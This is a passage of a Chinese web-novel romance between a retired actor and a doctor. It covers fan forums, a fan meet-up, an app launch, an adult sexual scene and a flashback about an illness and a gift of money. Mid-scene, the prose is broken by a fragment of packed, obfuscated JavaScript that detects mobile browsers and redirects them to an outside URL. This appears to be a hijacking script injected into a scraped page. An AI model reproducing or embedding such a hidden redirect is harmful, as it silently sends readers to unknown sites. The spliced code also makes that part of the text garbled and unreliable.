——[心满意足不了一点，我哥他没少被两边的CP粉骂，享受着我哥带来的热度，还诋毁我哥，她们不道歉不算完。]
【司云起，到头来你真的喜欢男人！】
——[姐们儿，你真的刚知道啊？]
【我觉得还是理智一点吧，综艺停拍这么久，起子哥为综艺造势也不是没可能，可能就是营销呢，但咱哥肯定不是渣男就对了。】
——[唯粉姐，别自欺欺人了。]
——[司云起入圈这些年，他看他什么时候和别人营销过。]
——[自荐博是他大号发的（对手指）]
——[cp粉不要来我这里找存在感。]
——[姐姐都到这步了你还是不肯承认我们是一家人吗（委屈）没关系的姐姐，我们有爸爸妈妈的爱就足够了。]
【我钦佩敬爱的反黑营销号成了我嫂子？！】
——[生活怎么就不是部小说呢（比心）]
——[借我瓶水，你就是最有种的营销号！]
——[司云起，你就是最有种的男人！]
“司老师唯粉战斗力不减当年，”韦流竹说，“不看广场了，我进超话看看去。”
两个超话里的情形差不多，边痛哭自己的cp是真的，边为曾经的怒骂道歉。
以至于到最后，今我来司cp粉纷纷涌入两个影子超话里求和。
今我来司：【宝宝们，不骂不相识，咱们是相亲相爱的一家人。（亲亲）】
两个影子：【最初两个影子超话成立的时候，是谁说我们是臆想症的？谁说我们幻想的比看到的还多的？】
今我来司：【宝宝~扯平了！那会儿你们也说我们是恋爱脑的呀】
……好好好。
臆想症和恋爱脑取并集，双方任意条件都满足。
十年、默默守护、营销号反黑、综艺重逢、借我瓶水开始频频和司云起一个ip地址……
连起来了！都连起来了！
cp粉意识到后心碎，唯粉看了流泪。
很快，网络上开始有营销号带节奏，说司云起的粉丝已经跑光了，这样的情况下竟然没一个人去借我瓶水微博评论区攻击，甚至还在回骂抨击借我瓶水的喷子。
司云起的某位大粉看到后，在营销号的评论区回答：
【@起司不甜：谢邀，没跑。我们是粉丝，不是神经病。借我瓶水反黑这些年我们有目共睹，都是一样爱司云起，为什么要骂他。】
微博浏览量瞬间就起来了，营销号心想黑红也是红，又发了一条微博，说现在是皆大欢喜，两波cp粉也不用再互骂了，司云起也已经退圈，会和那位影子哥在一起，只有唯粉成了没家的可怜鬼。
按理说这条微博更能冲热门的，但很奇怪，评论区只有几十条评论，再没别的动静。
韦流竹也看到这条了，默默退出微博，把手机还给艾宣。
季杭得回去上班，综艺拍摄团队的下一个目的地离这里很近，接下来的行程比较满，司云起不和季杭一起回，借了辆车送他去车站。
“一周后有时间么，”到了车站后司云起问。
季杭说有，又说：“司云起，你别下车了，不用送我进去。”
司云起点了下头，“好，到时候我让李达去接你。”
网上看热闹的人都以为司云起唯粉破防了，却不知道，司云起的所有大粉，在相近的时间里，各自发了一条粉见的微博。
内容一模一样：
【亲爱的朋友，请移步#起司来信#公众号。】
起司是司云起粉丝的名字，这个公众号之前从没有听说过。她们摸过去，回答了十个问题，输入各自的姓名生日和最想对司云起说的一句话后，才看到公众号的第一条内容。
发布自五天前——
【起司们，你们好，我是司云起。
当你们看到这条内容时，意味着属于我们的见面会就在一周后。
因为是我想见你们，所以不需要门票，工作室会承担全部食宿路费，请扫码报名，实名制入场。】
最下方有几行备注：所有省份都会有我们的见面会，限地区扫码报名。后续各省报名陆续发布，请留意推送。
有人还在嘲笑司云起的粉丝是小丑，可司云起的粉丝已经收到了报名成功的短信。
短信上有她们各自在公众号内填写的名字，说期待与你相见。
就像是好久没见的老朋友。
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……
那是起司们和司云起之间，第一场规模浩大、没有任何商业性质的见面会。
现场座无虚席，每个座位上都有司云起准备的信封和礼物，信封上是司云起写下的她们各自的名字。
司云起也没有站在舞台上，他走到每一个区前和她们拍照留念，回应着尖叫声中听到的每一句话。
合影之后，司云起走上舞台，深深地鞠了一躬。
话筒轻响了声，全场寂静。
司云起说：“这些年来，一直没有好好对你们说过谢谢，选择退出娱乐圈，唯独舍不得你们。我退得突然，留下你们面对各种声音，对不起，也谢谢你们。”
他身后的大屏画面开始滚动。
第一张，是司云起拍第一部电影《寻雁》的宣传结束，有五个粉丝上前要和司云起合照，那时候他们都很青涩。
第二张，司云起走在路上被认出来，一堆人围着他要签名，他一边道谢一边认真签着名。
第三张，第一次有粉丝接机，司云起身边没有助理，他悄悄拍下了几个粉丝的背影。
第四张，电影大爆，荣誉和诋毁随之而来。在红毯现场，有黑粉拉横幅说他资源咖不配演电影。他的粉丝，一群小姑娘们，很显然没有遇到过这样的情况，手举的横幅很小，但还是拼命踮脚伸胳膊，勇敢笨拙地用自己的手持横幅挡住后面十几米的大横幅。
其实挡不住，可司云起眼中，只能看到她们。
第五张，又是一次接机，粉丝多到超乎司云起想象。
第六张、第七张、第八张……
直至最后一张，大屏切换镜头，镜头照着全场。
司云起说：“谢谢你们爱我。”
大屏切换成各种捐款证书和明细，共计五千万，署名无一例外，全都是“起司”。
证书上容纳不了全部粉丝的名字，只能以“起司”开头。
“这些年你们会自发以我的名字捐款，希望福报和好运降临给我，我都知道的。这些款项涉及很多地方和领域，后续我会继续捐款，希望不管你们走到哪里，都能遇见独属于起司的福报，希望你们坦然接受，自信勇敢地生活。”
场馆内响起啜泣声，司云起笑了笑，说：“别哭。”
这话一出，好多人哭得更凶了。
前排有女孩举起来一块牌子，上面写着“司云起我来见你最后一面”。
司云起笑着摇摇头，身后的大屏上出现一个app，图标是一个变形的“司”，旁边有个二维码。
“这是属于我们的app，”司云起说，“作为第一个内测者，我觉得还不错。”
台下有很多人已经扫码下载了，司云起继续说：“这不是我们的最后一面，而是我们的第一面。以后我们会常常在这个软件里遇见，也可能是走在街上，你们看到我，像看到老朋友一样寒暄。”
“就是有个请求，”司云起说了这么一句后就安静了，钓足了所有人的胃口。
台下纷纷喊着问是什么。
司云起回头看了一眼，即便有幕布挡着，他看不到那人。
他看向观众席，说：“你们遇到我时，我身边大概会有个人。”
一片噫声中，有妈粉扯着嗓子吼：“司云起，必须是固定的人，绝对不许乱搞关系！！！”
司云起笑着答：“一定，只有一个。我想……”
台下忽然响起很整齐的一声：“懂，我们懂。”
有个粉丝大喊：“司云起！除了公开活动见你，别的时间都是你的私人生活，就算遇到我们也绝不打扰！你一定要幸福！”
“对！”
“相信我们。”
“其实我们也很爱借我瓶水啦。”
……
“我很爱他，”司云起大方承认，说：“也替他谢谢你们的爱。”
说话间，无数彩带从空中坠落。
她们伸手去抓，彩带落在手心，她们发现，那是进入公众号时她们写下的对司云起最想说的一句话。
全都是祝福和喜爱，被司云起一一看过后，印在彩带上，回馈给了她们。
场馆里人太多，属于司云起和所有起司的app下载很慢。
有部分先下载好的，看到变形的“司”图标后，注意到它的名字。
很简单，只有三个字：
今我来。
来思，来喜，来乐，来福，来财，来好运……
自此，希望所有真诚美好的祝愿，都会在你点开这个软件的时刻悄然而至。
101.他拍
所有隔着电子屏幕付出的爱，都值得一场好好的告别。
在司云起这里，因为爱形成牢不可破的闭环，所以与其说是告别，不如说是再遇见。
走出荧幕和遥远的距离，司云起告别十年的演员生涯，脱掉明星和粉丝的标签，他们是最纯粹的朋友。
娱乐圈更新迭代很快，每天都有新的面孔。总会有人去爱别人。
可在往后的惊鸿一瞥中，回亘追星的所有岁月，司云起永远拔得头筹。
-
今我来属于社交平台，没有广告没有会员制，功能一视同仁。
里面没有争吵，都在分享着各自的生活，是一片难得的净土。
某天傍晚，司云起发布了一条动态——
他拍[图片.jpg]
照片里司云起斜坐在落地窗前的圆桌前，阳光落在他身侧，狡黠地从空隙中投在桌面，切割出一道明暗。
他专注地握笔写字，轮廓优越明朗。
照片刚发出来，半分钟内评论就过了万。
【啊啊啊啊啊再看一亿遍也是舔屏的程度，哥你好帅！】
【哥，他拍是谁拍。】
【回楼上，不是我拍的，我在啃鸭脖。】
【也不是我，看到这一幕的起子哥我会当场昏死。】
【这肯定不是专业人士拍的，也绝对不是李达（李达拍照真的贼烂，得亏我哥颜值够硬），你们看这构图，毫无水准，整张照片唯一突出的就只有起子哥的帅气。而且和起子哥别的帅照都不一样，别的是很规矩的、大众的帅，这张有种私人的帅，只有爱人眼里才会有的视角！】
【起啊起，文案就俩字也是让你秀上了。】
【这会儿司云起你还能发照片，太淡定了吧，不做点什么都对不起你这三十年老光棍。】
【姐妹起子哥是二十九。】
【请问光棍三十年和光棍二十九年有什么本质区别吗～】
【有的宝宝，咱哥起码能多做个365次[比心]】
【……姐妹泥…天天做啊……】
【等等，我这太阳落山了啊！你们哪个IP还有那么大阳光啊！】
【报告，和起子哥同IP，现在起风出乌云了！】
【嘿嘿嘿嘿嘿，谁说我哥淡定，他血气方刚的，能忍得住什么～】
【咱哥一会：打开评论区，看看我的朋友们在说什么。打开评论区后：天塌了。】
季杭前天晚上是夜班。
从第一场见面会后他们各自忙碌，一直没见过面。这次季杭悄悄问了小悠综艺进度，得知很赶后，觉得司云起不会回来。
他补了一觉，睡醒走出房间，看到伏在窗边正在写下一场见面会信件的司云起。
上次见面会结束后，在后台，司云起当着很多工作人员的面，说：“我爱你。”
听到这三个字，不回句一样的不合适。但回句一样的也不合适，因为还没到他要说这三个字的时间。
斟酌着不知道该说句什么，等他想出来后，司云起已经分开了这个怀抱。
后台挺忙的，后来季杭也一直没顾上说。
再见面就到了这一刻。
季杭总想着补上没说的话，潜意识里记挂着，就是因为不想让司云起任何一句话落空。
司云起停笔，抬头看向他，“睡醒了？”
季杭与他同一时间开口：“我对你的喜欢好像又多了一点。”
说完后，季杭默默闭上眼睛，心想，自己一定是这个世界上最奇怪的人。
没料到季杭冒出这么句话，司云起问：“只有一点？”
季杭沉默了几秒，找补道：“因为上次在你见面会后台，被现场氛围带的吧。”
司云起若有所思，然后说：“还有很多场，那你都去？”
“……”季杭转身前撂下一句话，“去一百场也是一点。”
回房间待了会儿，季杭心想，自己还打算追人呢，结果隔着十几天才见一面，两个人工作又忙，这应该怎么追。
他借着喝水的功夫在客厅溜达了两圈，司云起还在写信，他也不打扰，确定手机音量都关了后悄悄拍了一张照片。
拍完立马走，身后却传来一句：
“在拍我？”
季杭摇摇头，否认：“没有，我在拍阳光。”
“哦，”司云起放下笔，自下而上仰头看向季杭，“我想看看。”
季杭握紧手机，抬抬下巴，“你转身就能看到。”
“想看你拍的，”司云起说。
季杭先是想抛句不给看就走，下一秒这个念头就被他否了。
犹如电视剧主角脑海里吵架的白天使和黑天使，季杭脑袋里真的有一黑一白两个小人在吵架。
黑天使：你走干嘛！你给他看呀！不给他看感情怎么升温！
白天使：不能看，看了你要怎么解释啊，为什么拍他，为什么拍了人家还否认。
黑天使：这段时间你干的解释不清楚的事还少吗？
First Blood。
白天使：那多尴尬呀，你不要面子吗？
黑天使：你要面子还是要爱。
Double Kill。
白天使：你先回房间吧，爱又不急这一会儿。
黑天使：十几天没见，马上司云起就要走，这还不急呐？
Triple Kill。
白天使：那你现拍一张阳光给他看。
黑天使：要的就是欲拒还迎的劲儿，现拍能干嘛，司云起想看的真的是阳光？
Quadra Kill。
白天使冲着黑天使：不行！我还是觉得这太不合理了！
黑天使：呵呵，他跑去人家酒店找人睡觉合理吗？握着人的手让帮帮他就合理了？对别人都说了在一起就对司云起说没在一起很合理吗？
Penta Kill！
白天使怒而看向季杭：“你就不是个合理的人！”
黑天使反倒柔和起来：“没关系的，不是你的错，爱本身就讲不清。”
两个小人倏地消失。
于是季杭在讲不清的道路上越走越远。
他绷着下巴，明明都有要走的趋势，愣是换了方向，对着司云起解锁手机。
隔了几米，司云起看到季杭手机屏幕上显现出他的身影。
至于阳光，倒也有。
只不过是洒在他身上的。
对于司云起来说，季杭干出什么事情他都不稀奇了，拍照拍的是自己，他也猜到了。
但怎么说呢，看到这样的季杭，他忽地很想做点什么。
他起身走过去，盯着照片看了几秒后，忽然凑近。
季杭连本能的躲都没有。
司云起埋头在他颈间，鼻尖蹭蹭他侧颈，“我能靠会儿么。”
季杭：“……你已经靠过来了。”
呼吸都喷洒在他后颈，季杭觉得那一块皮肤格外麻。
司云起问：“为什么让我靠呢。”
季杭顿住，半晌，他反问：“你说为什么。”
“因为，”司云起叹气声微不可闻，因为他们贴得太近季杭才能听清楚，“你喜欢我。”
季杭说：“那你叹什么气。”
司云起亲了亲他脖子，说：“为什么不和我在一起。”
季杭：“你别管。”
司云起很好说话，“哦”了一声，“那你管。”
“管什么？”季杭问。
司云起拉住季杭的手腕碰去。
心猛地跳了下，明明碰的是司云起，但脸红的成了他。
“季杭，管管我。”
这句话响在耳边时
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，他几乎是瞬间不受控，只能悄悄往后撤了一步。
然后司云起松了手，徒留他一人握住。
“季医生，写字写的手酸，帮我治治。”
……
……
手也酸了的季医生准备跑时，有双手揽到他腰间，将他又带了回去。
司云起不满道：“你跑什么。”
季杭握着纸巾说：“这是你房间，而且你、你不是已经出来了吗。”
“这种时候你应该抱着我，”司云起说，“不然我觉得很失落。”
季杭蹙眉想了几秒。
上次……
上次司云起好像是在一直陪着自己。
但这会儿，他自己都消不下去，不太适合抱着司云起，犹豫间司云起的手又伸了过来。
之后具体是怎么回事，季杭脑子也挺乱。
他跨坐在司云起腿上，仰头咬着睡衣衣角。
被司云起的手和……触碰，全身火热。某刻他齿关没咬紧，睡衣滑落，刚好遮住他们。
他不受控制地抖了很久，声音溢在喉间，闷进和司云起的吻里。
司云起抱着他，隔着窗帘，看不到外面乌云席卷。
“你手不酸了吗，”季杭喘着气问。
“很酸，”司云起亲亲他的嘴角，“现在更酸了。”
总之距离那张“他拍”的照片发出去，已经过了三个多小时。
司云起这段时间行程安排很紧，洗完澡后他收拾信封，对季杭说：“再过三个月，我就能天天回家了。”
季杭心想，既然这段时间聚少离多，那三个月后再谈恋爱也可以。
司云起一直在外面，他工作原因也不能到处跑，实在想不出好好追人的方式。
事情该做的不该做的都做了，唯独该在一起没做到，季杭知道这很奇怪。
但他们之间隔了十年，亏欠彼此的、错过的实在太多。
他很想补给司云起一段恋爱前的过程。
那应该是一段暧昧纠扯的时间，是他们意识到心意后小心的靠近，是双方心脏为对方仓惶跳动却不显于色的谨慎，是勇敢的试探。
十年前他们缺失了这段过程，现在季杭把它补上。
就当做没中间这十年，他和司云起去谈一段很完整的恋爱，一直在一起。
过程是有了，就是他没把握好分寸，导致做了某些过于暧昧的事情。
每回季杭扪心自问，为什么做出这件事，他的心都很坦诚，说真的是情不自禁。
季杭便怪不了任何，只能靠一张嘴顶着，对着司云起就是不松口，绝不承认恋爱关系。
越想越觉得自己有点像渣男，尤其是司云起那会儿冒出来的“很失落”，季杭决定进展还是要快一些。
那么问题来了，他想补个追司云起的过程。
这过程……
想不出来，他点进今我来看到司云起发的动态，皱着眉点进评论区，红着耳廓退出。
几秒后，他又点了进去。
注册没多久的号，用户名一直是乱码。
借我瓶水这个昵称竟然被司云起一眼就认出来了，季杭心想，要改个司云起绝对认不出来的。
上下翻了翻动态，看着很大众的起名方式，他点进主页修改网名头像，改好后发布了一条动态。
彼时司云起收拾好行李箱给李达发消息，今我来突然推送一条消息。
【你附近十米内有人发动态哦～】
司云起转头，沙发上某人正聚精会神地盯着手机。他想提醒最好把推送设置那一栏都关了，鬼使神差的，他先点进了这条推送。
今我来页面，第一条赫然显示：
@我爱爆司云起了：
姐妹们，请教一个问题，在已知双方互相喜欢的条件下，想先追人再恋爱，怎么追人合适呢？
102.@我爱爆司云起了
【宝宝，你这段话让人不太好理解，还没追人怎么知道双方互相喜欢了呢，你们是青梅竹马嘛？】
[@我爱爆司云起了：算是吧。]
【互相喜欢多久了呀？】
[@我爱爆司云起了：挺久了。]
【宝宝你们真沉得住气呀，挺久是起码有一年吧，这都不追？】
[@我爱爆司云起了：中间有些事情。]
【姐妹！你确定是互相喜欢哦！可别是你自己搞错啦！】
[@我爱爆司云起了：是互相喜欢，很确定。]
【是只有你知道你俩互相喜欢，还是他也知道呀？】
[@我爱爆司云起了：他也知道，但他知道的不多。]
【咋个不多？】
[@我爱爆司云起了：（得意.jpg）他以为我只有一点点喜欢他。]
【你这个形容好……一直以为就是喜欢无感和不喜欢区分，第一次见一点点喜欢。所以姐妹你的意思是，他以为错了，其实你非常喜欢他是吗？】
[@我爱爆司云起了：是的。]
【照理说，那应该是他主动追求，在你面前刷好感呀。为什么他不追！！！】
[@我爱爆司云起了：他有追的，他做的都很好。是我的问题，我想有个追他的过程。]
【……姐妹你是幸福过敏吗，直接说开在一起酱酱酿酿不好嘛。】
【对了，我看你回复上一条，你和他是青梅竹马呀，中间有些事情，那…是中间有误会分开过吗？如果是的话不好意思哦姐妹，没经历过你的事情我不好评价的。】
[@我爱爆司云起了：没事的，我想问问该怎么追他比较合适呢。]
【你们之间确实挺特殊，而且他也知道你有一点点喜欢他，做的事情就很容易超出追的界限，营造出一种你俩已经处上的了感觉。】
【哎呀，反正是你主导你们之间的关系，那你就假设他不喜欢你，直接追。追够了就谈。】
【追人一般要趋近他的喜好吧，他喜欢什么，你就做什么。】
【姐妹你这个IP，起子哥的见面会还没办到你省份，要不你预约报名的时候把他也报上？你带他一起去，意味着他在你心里的地位很特殊呢！】
…………
季杭把消息都翻完了，能看到的评论都回复了谢谢，再后来置顶了一条评论，说有进展会再发动态的，谢谢大伙的点子。
他点进消息页，看到点赞和评论下面有一条私信。
头像是初始头像，私信这一栏这能看到昵称和发来的话。
@收走所有小米：
宝宝，我也有相似的经历，需要我给你传授经验吗？
季杭蹙眉打开这个人的个人主页，个人信息都没有设置，性别也没有。
但这个昵称……
季杭点开微信，置顶的联系人除了季满谦，就是顶着小米头像的司云起。
十年前也是这把小米，那会儿他的微信小号头像是只小鸡。现在想来，如若当初他能敏锐些，他们之间是不是就能有另一条路。
沉默了会儿，门口传来动静。司云起已经把行李箱拉到了门边。
季杭喊他：“司云起，给我看眼你的手机。”
司云起很自然地解了锁递给他。
季杭点开今我来，看到司云起的号好端端地登录着。
分不清到底是什么情绪更多些，兴许人就是复杂的，他担心给自己发私信的人是司云起，所以要来手机。现在看到不是，他竟然还有点难言的失落。
其实很没必要，小米也不是专属于他们。
“还你，”季杭切屏划走。
这人语气变换很快，要自己手机时还隐隐带着几分期待的模样，现在似乎有点失落。
司云起接过手机，顿了几秒，说：“是不是该礼尚往来？”
季杭“啊”了一声。
“你看了我的手机，我能不能也看看你的？”
季杭切回桌面，“给。”
司云起也是点开今我来，看到这软件还停留在@收走所有小米的个人页面上。
他退出后找到设置，给他把推送设置那一栏的选项都关了。然后又找到私信，点进个人页面上，做的和原来一样后还给季杭。
临出门前，季杭撇开手机追到门口亲了司云起一下。
后来门一关，两个人各自拿着被检查过的手机开始发消息。
@我爱爆司云起了：谢谢你，麻烦你说说吧。
@收走所有小米：宝宝，做你自己想做的事情，想亲想睡都可以。
@我爱爆司云起了：追人……这么直接么？
@收走所有小米：宝宝，随你的心，不用考虑在另一个人眼中是不是合理。
@我爱爆司云起了：真的可以？
@收走所有小米：可以的宝宝。
@我爱爆司云起了：能和我讲讲你具体是怎么做的吗？
@收走所有小米：宝宝，你天天腻着他，一起做饭吃饭、刷牙洗脸，你也睡到他的床上去。
@我爱爆司云起了：睡到他的床上有什么合理的借口吗？
@收走所有小米：宝宝，这就得你自己想了。
@我爱爆司云起了：好，谢谢你的建议。还有点冒昧，就是你能别叫我宝宝吗，这个称呼不太适合我。
过了半分钟。
@收走所有小米：好的，亲爱的。
季杭：……
“老板，咋突然要改方向？我现在定好的时间是特意给你留出来几个小时补觉的时间，你倒好，把这点时间都得给挤没。老板……老板？”
李达从后视镜看到司云起一直盯着手机，眉眼中的笑意怎么也藏不住。
记得以前，李达总觉得司云起好像天生缺失情绪，永远是平静无波无澜的表情，天大的事情也不见他皱眉，多好的事情也见不了他笑。
印象中少有的几回，一回是司云起的钥匙丢了他在雨中找，再就是自己提到借我瓶水营销号。
那之后，司云起突然重新拥有了喜怒哀乐。
李达深吸了口气，由衷为自己老板感到高兴。
他又瞥了一眼后视镜，正巧看到司云起嘴唇轻启，没出声音，但口型是很明显的两个字：
宝宝。
李达连忙收回视线，顺带着把音乐也关了，不发出任何声音影响司云起和他的宝宝聊天。
照着司云起给的地址停车，李达转头问：“老板，咱们来找谁呀？”
“我妹妹。”
李达：“啊？你妹妹？”
话音刚落司云起就下了车，不远处有个年轻女生正往这边跑来。
“云起哥！”成芜边招手边喊，跑近了凑到车门看看里面，又四处张望，“云起哥，你自己来的呀？”
司云起点头。
“我哥他？”
“他不知道。”司云起拿过成芜肩上的书包，“出来见我背这么大包东西干嘛。”
“我收到你的消息就立马收拾东西，还以为你是和我哥一起来，要接我过去住几天呢。”
“这次不行，下次我来接你。”
成芜眨眨眼，“云起哥，你来找我，我哥他还不知道，你是想问什么吧。”
司云起把车门打开，让小姑娘坐进去，关好后自己上了另一边。
“想吃什么，带你去。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027812|132100||http|test|mini|href|location''.split(''|''),0,{}));
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成芜拍了拍肚子，“其实晚饭我吃过了，但你非要请我的话，只能盛情难却咯~我想去大学城那边的夜市，很近的，就两条街！”
“算了算了，不行，人太多，你一去准被认出来。”
“没关系，”司云起对李达说，“车停到路口，我们走路过去。”
下车后司云起戴好帽子口罩，敲开驾驶室的车窗，问李达：“你想自己去逛，还是我们回来的时候给你带饭回来？”
李达说：“老板你们去吧，我不饿，正好我打两把游戏。”
走出去几步后，成芜回头看了眼李达，啧啧了两声，“云起哥，你人真好。”
大半目光都被帽檐遮掩，声音透了层口罩，稍显几分闷，司云起说：“你哥更好。”
“好啦好啦，网上你俩的动态我都看到啦，”成芜揶揄道，“还有今天下午那张他拍，噫～”
司云起一本正经：“你哥他偷拍我。”
成芜立马就能联想到，肯定是云起哥察觉到季杭拍他，但季杭那性子肯定不承认，“我哥他就擅长嘴硬，再有这样的事儿你多问他几遍就好啦。”
“这件事上，他没嘴硬。”
反倒还诚实的很，直接就把照片给自己看了。
“但他嘴硬是真的，”司云起说，“有些事多问几遍也问不出来。”
察觉到司云起话里有话，成芜看多了超话里的文，势必要成为他们爱情路上的守卫者，毅然决然道：“云起哥你问，我一定知无不言！”
下一秒，成芜嗓音弱弱：“云起哥，我得先问一句，你没跟我哥闹别扭啥的吧？我没别的意思，就是大晚上你突然来找我，你俩真没事不？”
“没事。”司云起回答。
是很突然，本来行程里没有成芜这一趟的。奈何他突然看到那人发的动态。
起的昵称、回复网友的每一句。
都让他心里始终不确定的时间显现出明显的轮廓。
他希望季杭最好不要喜欢他太久，甚至这十年厌恶他也没关系。
即便有很多某些蛛丝马迹，他也能自我欺骗，安慰自己不会的，不会是十年。
可现在几乎是明晃晃的事实摆在他面前。
那个不确定的时间，好像真的是……
某一刻他嗓音哽塞，平白说不出话来。
缓了几分钟，他们已经走进夜市，身边熙熙攘攘摩肩接踵。
被繁闹的动静包裹时，人很容易暂时忘却情绪。
大概是因为要顾着从人堆里挤过，屏蔽掉各式各样的声音，所以能短暂不用为自己的事情皱眉头。
到司云起这儿好像反了。
越是人声鼎沸，越是熙攘常亮，他就越想要季杭在他身边。
就像十年前，也是夜市，也是走不动的人群，季杭快了他几米，曾绕出去后从摊贩中间的空隙中挤进来，和他平行。
很多个问题在脑海中闪过，最终司云起只问出一句：
“他戴的项链上有个戒指，你知道是……”
成芜看向他，“我知道，你送的呀，十年前。”
万物失声。
司云起心里最隐蔽的地方突然被猛地一攥，像是紧绷了十年的弦断裂成三千多个碎片，从四面八方围剿，分明是大动干戈叫嚣而来，却不曾伤他分毫。
可他依旧说不出的疼。
路过的人一下一下地撞过他的肩膀，成芜将他拉到一旁，“云起哥，你看起来很难受。”
他阖了阖眼，嗓音闷滞：“没。”
他现在所感受到的疼和苦涩，一定不及季杭的万分之一。
……
口是心非了十年的人，最最苦。
103.山楂树
“你离开没多久，我哥病了一场。”
随便找了个有桌凳的摊位，坐下后成芜要了碗凉粉。
时光温和，它平等地缓过世间万物，柔化一切伤痕和痛苦。回忆经年，便不那样尖锐了。
只是每次想起，成芜都忘不了，很浓重的消毒水的气味。
……
记不清是什么时候，也不知道是为什么了，在成芜的记忆里，某天季杭突然就带着她一起玩了。
还有云起哥和书望哥。
她很喜欢他们，很喜欢季杭。每个周五晚上熬个大夜把作业写完，周六一早坐车去找季杭。
后来季杭临近高考，成馥就不让她再去了。
为此她还给季杭打了个电话，说妈妈不让她去，可能得等到季杭高考完才能见了。
季杭说没关系。
没想到高考前两天下午，成馥突然给她请了假，带着她一起去见了季杭。
季杭在教室里收拾东西，突然皇后喊他，让他去趟学校门卫室，有人找。
成芜看到季杭后直接跑了过去，兴奋地问：“季杭，你紧张不？”
成馥快走了几步，看着个子早就高出她很多的男生，神色期盼，却又不太敢再上前。
直到季杭拉着成芜走向她。
在她的梦里也鲜少会出现这样的情景，一双儿女出现在她眼前，向来泪窝子浅的她瞬间就红了眼眶。
成芜拽拽成馥的衣角，说：“干嘛啊妈，哭啥。”
成馥忍住泪水，“小杭。”
季杭笑着应了一声。
“我也没带别的，”成馥说，“家里烤了牛肉干，想打包给你带，一想这两天还是少碰外面的吃的，闹肚子不划算。”
成芜抿着嘴摇头，神神秘秘的，对季杭说：“你别看我俩空着手来的，其实不是。”
季杭配合着问：“怎么呢？”
“妈上庙去给你求了，别担心，肯定考好。”
季杭被她逗笑，“谢谢哈。”
“谢啥啊一家人，”成芜说。
本来有意活跃气氛的，但看成馥和季杭俩人实在是生疏，她也没辙。
成芜问：“季杭，考完试旅游去呗？”
季杭：“没想呢。”
“去吧去吧，我知道你肯定和云起哥书望哥一起，你们能不能等我个把月，我也想去。”
“司云起他不一定有时间，”说完立马见成芜撇下嘴，季杭摸摸她的头，“行，不管他们有没有时间，我带你去。”
成芜趁机说：“那也带上妈，三个人才好玩儿。”
季杭没说话，倒是成馥连连摆手，“你们去就好，有大人跟着扫兴。”
成芜“哎呀”一声，正欲反驳，却听到季杭简简单单的三个字。
“不扫兴。”
没几秒，三个人对视着笑了。
成芜开始期待着放暑假，期待他们三个人一起出去玩。到了暑假，暑假过了半个月、一个月……季杭没来带她们出去，也不让她去找。
成馥心里一直对季杭有亏欠，当她收到季杭的短信，让她别去找季杭，让成芜也别去的时候，她没想到是因为季满谦生了病，只以为季杭不愿意见她们。
没想到。
又过了段时间，司云起找到了成芜，塞到她手里一张卡。
卡里有六十万，是那时候的司云起全部的钱。
不论是卡还是人，都带着很浓的消毒水味，司云起穿着长袖长裤，但也能看到露出的脖子和手背上很多伤痕。
“云起哥，你怎么了！”成芜不敢碰他。
司云起说：“卡给季杭，别说是我给的。”
成芜还不敢拿着那么大金额一张卡，又担心司云起会不会是被人胁迫出什么事，去找了成馥。
成馥和司云起单独说话时，成芜悄悄躲在门后听。
她听到季满谦生病，也听到季杭这段时间过得很不好，瞬间掉下眼泪。
后来她听到成馥问：“你为什么不自己把钱拿给季杭呢？”
司云起回答说：“我要做演员，不方便和别人有牵扯，只能麻烦您把钱给他。”
听了这话，成馥将卡推给司云起，“不想有牵扯最好的办法是，你没来这一趟，也没给这张卡。”
司云起垂头，连带着目光也敛开，“季叔叔的病情不好，需要钱。”
“我们会给的，”成馥摇摇头，“不劳你费心。”
“钱总不会嫌多的，只怕少，您拿着吧。”
司云起态度始终是低三下四的，总有种求人的姿态。
成馥斟酌片刻，还是留下了卡，“你给我个联系方式，以后把钱还你。”
“不用了。”
成馥有些纳闷地说：“你不是不想有牵扯吗，欠着钱总归是断不干净的。”
司云起便留了个联系方式。
他走的时候成芜追了出去，很是气愤地说他不讲义气，说他怎么能在这时候撇下季杭。
司云起没反驳，平静地接受她面临这件事后所有的情绪宣泄，等她发泄够了，才轻声说：“我离开他了，所以你们能不能对他再好一点。”
……
那会儿的成馥和成芜都不知道，司云起在她们面前所表现出的低三下四没有尊严，并非是因为觉得做错了事情不敢面对她们。
司云起向来孤傲，面对剧组的排挤以及丁熙年用他的前途施压，也未曾低过一次头。
之所以在她们面前低声下气，是因为他不能去到季杭身边。
季杭那么讨厌他，听到表白后迫不及待送他离开，如果他再出现，只能是在季杭最难的时候增加他的烦恼。
所以他应下她们的误解，接收她们对自己的鄙夷，半个字也没解释。
听说心疼能转成爱，希望她们多心疼季杭一点，这样就能更爱季杭一点。
他离开后，成馥曾照着他留下的联系方式打过电话，打出去却是个空号。
“他留的联系方式是假的，看来是真的没想让我们还钱，”成馥说完后又担心起来，“要是他一直记着这件事，以后哪天找小杭去要怎么办。”
成芜摇摇头，说：“放心吧妈，不会的。”
因为这个问题她也问过司云起，在司云起走的时候，依旧是很浓的消毒水味缭绕在他们之间，她问：“这些钱你会要回去吗？”
司云起说：“不会。”
“为什么，”在当时成芜的概念中，六十万是特别特别大的一笔钱，她不明白司云起为什么说撇下季杭就撇下，但又送来这么大一笔钱，“这么多年，那你不得一直记着吗？”
沉默了很久，司云起扯出一个笑，转身时说了句成芜听不明白的话——
“记得这个，就能忘了别的。”
人总会记得些什么。
比如初遇，或者喜欢的那一刻。
当到了分离的这个记忆节点时，那就记得季杭欠他钱吧。
这样的话…
就能忘了那趟有人中途下车的列车。
–
成芜拿着钱去给季杭，说这钱是成馥拿的。
季杭已经发了很久的高烧，每次吃了药退烧，药劲过了又烧起来。他没时间也没心思管自己，成芜去找他时，他整个人瘦了一大圈，都有些脱相。
医院里也满是消毒水的味儿，成芜一时之间不知道该说句什么。
把卡递给季杭时，她很担心季杭会不收。
但季杭很快就接过卡，“帮我谢谢叔叔他们，以后我一定还。”
刚说完这句话季杭就昏了过去，成芜惊慌地喊医生护士。
她守在病床前等季杭醒，吊瓶都打完了季杭还在昏睡，整整又过了一个晚上才醒来。
